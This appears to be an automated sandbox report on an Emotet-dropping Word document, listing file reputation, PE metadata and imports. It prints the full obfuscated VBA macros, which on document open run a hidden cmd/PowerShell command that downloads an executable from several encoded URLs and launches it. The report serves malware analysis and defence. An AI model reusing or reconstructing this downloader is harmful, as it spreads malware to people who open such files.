VTI SCORE: 100/100
Dynamic Analysis Report |
Classification: Backdoor, Trojan, Dropper, Downloader |
bded6d7de58298b9f1b3a5b0a502bd6cd2fb54e29d474c74ec5ff140d9b474b7 (SHA256)
Doc379450.doc
Word Document
Created at 2018-09-07 17:11:00
Notifications (1/1)
The operating system was rebooted during the analysis.
This is a filtered view
This list contains only the embedded files and created files
Filters: |
There are no files for this filter
Filename | Category | Type | Severity | Actions |
---|
C:\Users\aETAdzjz\Desktop\Doc379450.doc | Sample File | Word Document |
Suspicious
|
...
|
»
File Reputation Information
»
Severity |
Suspicious
|
First Seen | 2018-09-07 14:07 (UTC+2) |
Last Seen | 2018-09-07 14:34 (UTC+2) |
Names | Script-Macro.Trojan.F04ie00i718 |
Families | F04ie00i718 |
Classification | Trojan |
Office Information
»
Creator | Evudijaj-PC |
Revision | 1 |
Create Time | 2018-09-07 08:00:00+00:00 |
Modify Time | 2018-09-07 08:00:00+00:00 |
Document Information
»
Codepage | Latin-1 |
Application | Microsoft Office Word |
App Version | 16.0 |
Template | Normal.dotm |
Page Count | 1 |
Line Count | 1 |
Paragraph Count | 1 |
Word Count | 6 |
Character Count | 37 |
Chars With Spaces | 42 |
Heading Pairs | Title |
VBA Macros (2)
»
Macro #1: diBSboziQXGmZw
»
Attribute VB_Name = "diBSboziQXGmZw"
Function qEFDRHiTp()
On _
Error _
Resume _
Next
Month Format("248269970" + "40418352")
Month Format("4540" + "ulwZ")
jMovfchjU = Chr(0 + 2 + 6 + 18 + 73) + "md /" + "V^:/" + Chr(0 + 1 + 4 + 12 + 50) + Chr(0 + 0 + 2 + 5 + 27) + "^s" + "^et z^" + "q" + "^j8=" + "^ ^"
Month Format("oEnAPOPhV" + "SYw" + "jrF" + "KzZD")
Month Format("ovPz" + "6875")
GpKMajLMD = " " + "^" + " ^ " + " ^ ^ " + "^}}{^h" + Chr(0 + 2 + 6 + 18 + 73)
Month Format("jFENKmPnR" + "129350848" + "J" + "mpCYiKtqfwkIl")
sOqzwE = "ta" + Chr(0 + 2 + 6 + 18 + 73) + "^" + "};k" + "^aerb^;" + "jq^j$ " + "^me^t^" + "I-^eko" + "vnI;)" + "^jq" + "j" + "^$^" + " ^,V"
Month Format("T" + "277300603" + "QjWT" + "1384")
Month Format("sv" + "307064985")
Month Format("sBYF" + "5333" + "358040471" + "369408302")
rkSpl = "T^O^$(" + "e^l" + "iFd" + "ao^ln^w" + "^oD^." + "VR^T^" + "${^yr" + "t{)p"
Month Format("131691278" + "loAYGo" + "300464565" + "crlZwRbYOAwwv")
Month Format("6481" + "279094329" + "Gm" + "joHIS")
Month Format("426729368" + "Gj")
Month Format("wb" + "u" + "T" + "ld")
zWAPVL = "m^" + "i^$ " + "n" + "^i" + " VT^" + "O$(^h" + Chr(0 + 2 + 6 + 18 + 73) + "a" + "^e" + "r^" + "of;'^e"
Month Format("299109251" + "367796560")
Month Format("nZKljtACqzD" + "HtijDz" + "JiWC" + "316024205")
OEFGc = "x" + "^e.'" + "^" + "+FaR^" + "$+" + "^'^\^'" + "+" + Chr(0 + 2 + 6 + 18 + 73) + "i^lb" + "^up^"
Month Format("1390" + "THn" + "2648" + "518757823")
Month Format("454" + "iHswkW")
Month Format("3893" + "SdO" + "97180029" + "2395")
DRlhnPjS = ":v" + "ne$" + "^=j^" + "q^j$^;'" + "8^2" + "4^'^ ^" + "=^ " + "^FaR$^;" + ")^'@^" + "'(t" + "ilpS." + "'^6^" + "XLE^B^d"
Month Format("FG" + "U")
Month Format("PY" + "4271" + "Q" + "lzE")
Month Format("ZFBH" + "XA" + "YasPFqkqt" + "zC")
rXpCz = "^" + "b^E" + "F^" + "k/^mo" + Chr(0 + 2 + 6 + 18 + 73) + "^.s" + "e^i" + "^g" + "^ol" + "^" + "on^h" + Chr(0 + 2 + 6 + 18 + 73) + "^"
Month Format("387072345" + "siNbGUJ")
Month Format("UXsHA" + "192559679" + "nPMwW" + "wTpd")
GwWDYcp = "etna" + "vda/" + "/^:^p" + "^" + "tt^h^@"
Month Format("141478964" + "OhUOFsN")
zPoMMiP = "^g5" + "9Q" + "L" + "oG/a" + "u^" + ".m" + "^o" + Chr(0 + 2 + 6 + 18 + 73) + "^" + ".s^" + "p" + "^i^" + "h" + Chr(0 + 2 + 6 + 18 + 73) + "^"
Month Format("nn" + "XVmrjAQ")
Month Format("krNQ" + "5749" + "503198924" + "254865589")
HRwtwL = "do^o^w" + "//^:" + "p" + "^tth@" + "6Ur^g" + "rTZD/" + "^tnetn^" + "o" + Chr(0 + 2 + 6 + 18 + 73) + "^-^p^" + "w"
Month Format("Xz" + "337978206")
CICWizhj = "/ri^." + Chr(0 + 2 + 6 + 18 + 73) + "a" + "^.umhs" + "^.^udr" + Chr(0 + 2 + 6 + 18 + 73) + "//" + ":^p^" + "t" + "^t" + "h^@F^" + "D^8vH^f" + "L/^"
qEFDRHiTp = jMovfchjU + GpKMajLMD + sOqzwE + rkSpl + zWAPVL + OEFGc + DRlhnPjS + rXpCz + GwWDYcp + zPoMMiP + HRwtwL + CICWizhj
Month Format("QtzJmOm" + "QzZLi")
Month Format("166967013" + "111108699")
Month Format("RtzRhSRHbm" + "5357")
Month Format("zzki" + "zcA")
Month Format("7045" + "1990")
End Function
Function MFzZTB()
On _
Error _
Resume _
Next
Month Format("531545775" + "335744437")
Month Format("497585526" + "7645" + "qhkSChSU" + "ZzGksAwXJw")
Month Format("YQhs" + "RjzuPDNGoiMJz")
KHmVivJoz = "sd^a^o" + "^lpu/t" + "n^et" + "no" + Chr(0 + 2 + 6 + 18 + 73) + "^-" + "p^w" + "/m^" + "o" + Chr(0 + 2 + 6 + 18 + 73) + ".^t" + "esro" + Chr(0 + 2 + 6 + 18 + 73) + "v^.w" + "^" + "w" + "^w//"
Month Format("369323264" + "LaSaiZHfP")
Month Format("HJRQCaKPiUnKwt" + "383844798" + "ERjNMn" + "WMqP")
Month Format("BMJv" + "EZm" + "213562065" + "8234")
Month Format("SJin" + "idYPVjEV" + "215" + "4428")
Month Format("scT" + "453228603" + "2223" + "qFF")
wGQNJv = ":^" + "p" + "^t^t" + "h^@^0^" + "gD^5^e1" + "w" + "^b/^tn^" + "e^tno" + Chr(0 + 2 + 6 + 18 + 73) + "-p^w/" + "d"
Month Format("55337347" + "1395")
Month Format("2987" + "182829557" + "BH" + "3719")
Month Format("GXm" + "iiwKLSs" + "126" + "484300568")
Month Format("6096" + "jhzZiYvitoa")
Month Format("6011" + "4490")
fBCPUN = "i." + Chr(0 + 2 + 6 + 18 + 73) + "^a" + ".gn^" + "a^la" + "m^-" + "n" + "^iu.^" + "i" + "^s^" + "amra^" + "f/" + "/^:^ptt" + "^h'"
Month Format("290732939" + "108400279")
Month Format("bbRw" + "sXnqWW")
Month Format("6731" + "Qs")
NzuAYSPmYaU = "=^p^" + "mi" + "^$^;tn^" + "e^i^l" + Chr(0 + 1 + 4 + 12 + 50) + "^be" + "^W." + "^te" + "N^" + " ^t" + Chr(0 + 2 + 6 + 18 + 73) + "e"
Month Format("XtAU" + "dpuiVP" + "C" + "la")
HzIqJ = "^j^bo-" + "we" + "n^=V" + "RT$" + "^" + " l"
Month Format("300867005" + "283588897")
Month Format("Pti" + "vAHqhtS" + "t" + "BtU")
GHRfFkGJi = "^l" + "^e^h" + "^" + "sr^ew" + "o^" + "p&&^fo"
Month Format("HkNCYjTRCnO" + "tUdiL" + "YcV" + "MkCN")
Month Format("179419492" + "DrFuT" + "3826" + "430128256")
Month Format("5541619" + "144")
PJSvh = "r /^L " + "%" + "^y ^in " + "(" + "4" + "^26,-^" + "1,^0)" + "^d" + "o ^"
Month Format("fLM" + "257182199")
Month Format("5724" + "ntisHZBX" + "DjVSIY" + "AKWwN")
WRpCzwuP = "se^t 5^" + "d^UZ=" + "!5^d^UZ" + "!!z^q" + "^j8" + ":~%^y,1" + "!&" + "&^i^f " + "%^y " + "^l^s" + "^s " + "^1 " + Chr(0 + 2 + 6 + 18 + 73) + "a" + "^l^l "
Month Format("GKzz" + "fFMviLSGK" + "o" + "1795")
Month Format("189395997" + "58943897" + "JCL" + "QPFC")
Month Format("493004763" + "p" + "299217208" + "ccL")
rCdqnjtN = "%5^d^" + "UZ" + ":^~^6%" + Chr(0 + 0 + 2 + 5 + 27) + ""
MFzZTB = KHmVivJoz + wGQNJv + fBCPUN + NzuAYSPmYaU + HzIqJ + GHRfFkGJi + PJSvh + WRpCzwuP + rCdqnjtN
Month Format("bCXCzWZnwFWpEi" + "hBjIIui")
Month Format("AEWK" + "i")
End Function
Macro #2: ZIMUIGEpYcSzfp
»
Attribute VB_Name = "ZIMUIGEpYcSzfp"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On _
Error _
Resume _
Next
Month Format("8379" + "166825450" + "f" + "nS")
Month Format("iwn" + "SOQQufkvEHHU")
Month Format("Vad" + "swX")
Month Format("BPRTWqH" + "123990321" + "61931562" + "jZRQ")
Month Format("nr" + "195608342" + "OUiLtWlQz" + "Jzzkq")
Month Format("ZZfUMkYGbI" + "wT" + "TK" + "FPaPPVmth")
Month Format("6872" + "woP" + "CVCWa" + "E")
Month Format("a" + "tW")
Month Format("acDc" + "HJJR" + "JE" + "biDpJntsuzWwj")
Month Format("99917046" + "Vt" + "5498" + "198414324")
Shell Format(fYriA) + Format(bvGWQah) + Format(DfWwcwcDPZ) + qEFDRHiTp + MFzZTB + Format(EdGfjFQlB) + Format(hbZmULGCT), Format(vbHide)
Month Format("iSIZZii" + "nc")
Month Format("351743984" + "jiOIjA")
Month Format("7045" + "9099")
End Sub
C:\Users\aETAdzjz\AppData\Local\Microsoft\Windows\orangeneed.exe | Created File | Binary |
Suspicious
|
...
|
»
File Reputation Information
»
Severity |
Suspicious
|
First Seen | 2018-09-07 17:05 (UTC+2) |
Last Seen | 2018-09-07 18:17 (UTC+2) |
Names | Win32.Trojan.Emotet |
Families | Emotet |
Classification | Trojan |
PE Information
»
Image Base | 0x400000 |
Entry Point | 0x41d4b9 |
Size Of Initialized Data | 0x26000 |
Size Of Uninitialized Data | 0x3bfcd706 |
File Type | executable |
Subsystem | windows_gui |
Machine Type | i386 |
Compile Timestamp | 2018-09-07 21:46:17+00:00 |
Version Information (8)
»
LegalCopyright | Copyright © 2003-2017 - TortoiseSVN |
InternalName | TSVNCache.exe |
FileVersion | 1.9.6.27867 |
CompanyName | http://tortoisesvn.net |
ProductName | TortoiseSVN |
ProductVersion | 1.9.6.27867 |
FileDescription | TortoiseSVN status cache |
OriginalFilename | TSVNCache.exe |
Sections (5)
»
Name | Virtual Address | Virtual Size | Raw Data Size | Raw Data Offset | Flags | Entropy |
---|---|---|---|---|---|---|
.text | 0x401000 | 0x361a8 | 0x37000 | 0x1000 | cnt_code, mem_execute, mem_read | 5.89 |
.data | 0x438000 | 0xe548 | 0xd000 | 0x38000 | cnt_initialized_data, mem_read, mem_write | 5.2 |
.idata | 0x447000 | 0xace | 0x1000 | 0x45000 | cnt_initialized_data, mem_read | 3.83 |
.rsrc | 0x448000 | 0x10b78 | 0x11000 | 0x46000 | cnt_initialized_data, mem_read | 6.85 |
.reloc | 0x459000 | 0x46d8 | 0x5000 | 0x57000 | cnt_initialized_data, mem_discardable, mem_read | 5.73 |
Imports (24)
»
ESENT.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
JetCommitTransaction | 0x0 | 0x447024 | 0x47370 | 0x45370 | 0x24 |
WS2_32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
listen | 0xd | 0x447140 | 0x4748c | 0x4548c | - |
OLEAUT32.dll (2)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CreateTypeLib | 0xa0 | 0x4470a4 | 0x473f0 | 0x453f0 | - |
SafeArrayLock | 0x15 | 0x4470a8 | 0x473f4 | 0x453f4 | - |
WININET.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
FtpOpenFileA | 0x0 | 0x447118 | 0x47464 | 0x45464 | 0x34 |
NTDSAPI.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
DsBindWithCredA | 0x0 | 0x44709c | 0x473e8 | 0x453e8 | 0x8 |
WINTRUST.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
WTHelperGetProvSignerFromChain | 0x0 | 0x447138 | 0x47484 | 0x45484 | 0x59 |
MSACM32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
acmDriverEnum | 0x0 | 0x44708c | 0x473d8 | 0x453d8 | 0x6 |
Secur32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
QuerySecurityPackageInfoW | 0x0 | 0x4470f4 | 0x47440 | 0x45440 | 0x39 |
RPCRT4.dll (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
UuidToStringW | 0x0 | 0x4470c0 | 0x4740c | 0x4540c | 0x204 |
I_RpcSessionStrictContextHandle | 0x0 | 0x4470c4 | 0x47410 | 0x45410 | 0x64 |
RpcBindingSetAuthInfoExA | 0x0 | 0x4470c8 | 0x47414 | 0x45414 | 0x16d |
OPENGL32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
glMapGrid1f | 0x0 | 0x4470b0 | 0x473fc | 0x453fc | 0xae |
msvcrt.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
fprintf | 0x0 | 0x447148 | 0x47494 | 0x45494 | 0x49f |
SETUPAPI.dll (5)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SetupDiGetClassInstallParamsA | 0x0 | 0x4470d0 | 0x4741c | 0x4541c | 0x15b |
SetupDiBuildClassInfoListExW | 0x0 | 0x4470d4 | 0x47420 | 0x45420 | 0x122 |
SetupDiEnumDeviceInfo | 0x0 | 0x4470d8 | 0x47424 | 0x45424 | 0x142 |
SetupQueueCopyIndirectW | 0x0 | 0x4470dc | 0x47428 | 0x45428 | 0x223 |
SetupGetLineTextA | 0x0 | 0x4470e0 | 0x4742c | 0x4542c | 0x1df |
CRYPT32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CryptInstallDefaultContext | 0x0 | 0x44701c | 0x47368 | 0x45368 | 0xa8 |
GDI32.dll (6)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
GetTextExtentExPointA | 0x0 | 0x44702c | 0x47378 | 0x45378 | 0x219 |
CreateSolidBrush | 0x0 | 0x447030 | 0x4737c | 0x4537c | 0x54 |
GetPaletteEntries | 0x0 | 0x447034 | 0x47380 | 0x45380 | 0x200 |
EnumFontsA | 0x0 | 0x447038 | 0x47384 | 0x45384 | 0x127 |
CreateMetaFileA | 0x0 | 0x44703c | 0x47388 | 0x45388 | 0x46 |
GetEnhMetaFilePaletteEntries | 0x0 | 0x447040 | 0x4738c | 0x4538c | 0x1d5 |
USER32.dll (6)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
TrackPopupMenuEx | 0x0 | 0x4470fc | 0x47448 | 0x45448 | 0x2f7 |
TranslateAcceleratorA | 0x0 | 0x447100 | 0x4744c | 0x4544c | 0x2f9 |
IsClipboardFormatAvailable | 0x0 | 0x447104 | 0x47450 | 0x45450 | 0x1ca |
ModifyMenuA | 0x0 | 0x447108 | 0x47454 | 0x45454 | 0x216 |
EndDialog | 0x0 | 0x44710c | 0x47458 | 0x45458 | 0xda |
MonitorFromPoint | 0x0 | 0x447110 | 0x4745c | 0x4545c | 0x218 |
ADVAPI32.dll (6)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SetSecurityDescriptorSacl | 0x0 | 0x447000 | 0x4734c | 0x4534c | 0x2ba |
QueryUsersOnEncryptedFile | 0x0 | 0x447004 | 0x47350 | 0x45350 | 0x22c |
TreeResetNamedSecurityInfoW | 0x0 | 0x447008 | 0x47354 | 0x45354 | 0x2fa |
LookupPrivilegeValueW | 0x0 | 0x44700c | 0x47358 | 0x45358 | 0x197 |
RegDisablePredefinedCache | 0x0 | 0x447010 | 0x4735c | 0x4535c | 0x249 |
CreateRestrictedToken | 0x0 | 0x447014 | 0x47360 | 0x45360 | 0x7f |
MSVFW32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
ICCompressorFree | 0x0 | 0x447094 | 0x473e0 | 0x453e0 | 0x16 |
WINSPOOL.DRV (3)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
EndDocPrinter | 0x0 | 0x447128 | 0x47474 | 0x45474 | 0x51 |
GetPrinterW | 0x0 | 0x44712c | 0x47478 | 0x45478 | 0x87 |
DocumentPropertiesW | 0x0 | 0x447130 | 0x4747c | 0x4547c | 0x4e |
WINMM.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
PlaySoundW | 0x0 | 0x447120 | 0x4746c | 0x4546c | 0x9 |
SHLWAPI.dll (2)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
SHCopyKeyW | 0x0 | 0x4470e8 | 0x47434 | 0x45434 | 0xa6 |
StrToIntExW | 0x0 | 0x4470ec | 0x47438 | 0x45438 | 0x14d |
ole32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
CoGetObject | 0x0 | 0x447150 | 0x4749c | 0x4549c | 0x35 |
IMM32.dll (2)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
ImmSimulateHotKey | 0x0 | 0x447048 | 0x47394 | 0x45394 | 0x7a |
ImmSetCompositionWindow | 0x0 | 0x44704c | 0x47398 | 0x45398 | 0x74 |
RASAPI32.dll (1)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
RasSetCustomAuthDataW | 0x0 | 0x4470b8 | 0x47404 | 0x45404 | 0x5c |
KERNEL32.dll (13)
»
API Name | Ordinal | IAT Address | Thunk RVA | Thunk Offset | Hint |
---|---|---|---|---|---|
GetDefaultCommConfigA | 0x0 | 0x447054 | 0x473a0 | 0x453a0 | 0x1c9 |
GetSystemWow64DirectoryA | 0x0 | 0x447058 | 0x473a4 | 0x453a4 | 0x27d |
CreateSemaphoreA | 0x0 | 0x44705c | 0x473a8 | 0x453a8 | 0xab |
GetNamedPipeHandleStateA | 0x0 | 0x447060 | 0x473ac | 0x453ac | 0x220 |
OpenSemaphoreA | 0x0 | 0x447064 | 0x473b0 | 0x453b0 | 0x383 |
CopyFileA | 0x0 | 0x447068 | 0x473b4 | 0x453b4 | 0x70 |
FindCloseChangeNotification | 0x0 | 0x44706c | 0x473b8 | 0x453b8 | 0x12f |
GetBinaryTypeA | 0x0 | 0x447070 | 0x473bc | 0x453bc | 0x170 |
GetModuleHandleA | 0x0 | 0x447074 | 0x473c0 | 0x453c0 | 0x215 |
GetBinaryTypeW | 0x0 | 0x447078 | 0x473c4 | 0x453c4 | 0x171 |
GetSystemPowerStatus | 0x0 | 0x44707c | 0x473c8 | 0x453c8 | 0x274 |
UnlockFileEx | 0x0 | 0x447080 | 0x473cc | 0x453cc | 0x4d5 |
CallNamedPipeW | 0x0 | 0x447084 | 0x473d0 | 0x453d0 | 0x3f |
C:\Users\aETAdzjz\AppData\Local\Microsoft\Windows\History\History.IE5\index.dat | Modified File | Stream |
Unknown
|
...
|
»
c:\users\aetadzjz\appdata\local\microsoft\windows\temporary internet files\content.ie5\index.dat | Modified File | Stream |
Unknown
|
...
|
»
c:\users\aetadzjz\appdata\roaming\microsoft\windows\cookies\index.dat | Modified File | Stream |
Unknown
|
...
|
»
e7287a15bfef482a82295a88d2dbf6365181ccb6c21649fe4ebf51ed505a25dc | Embedded File | Text |
Unknown
|
...
|
»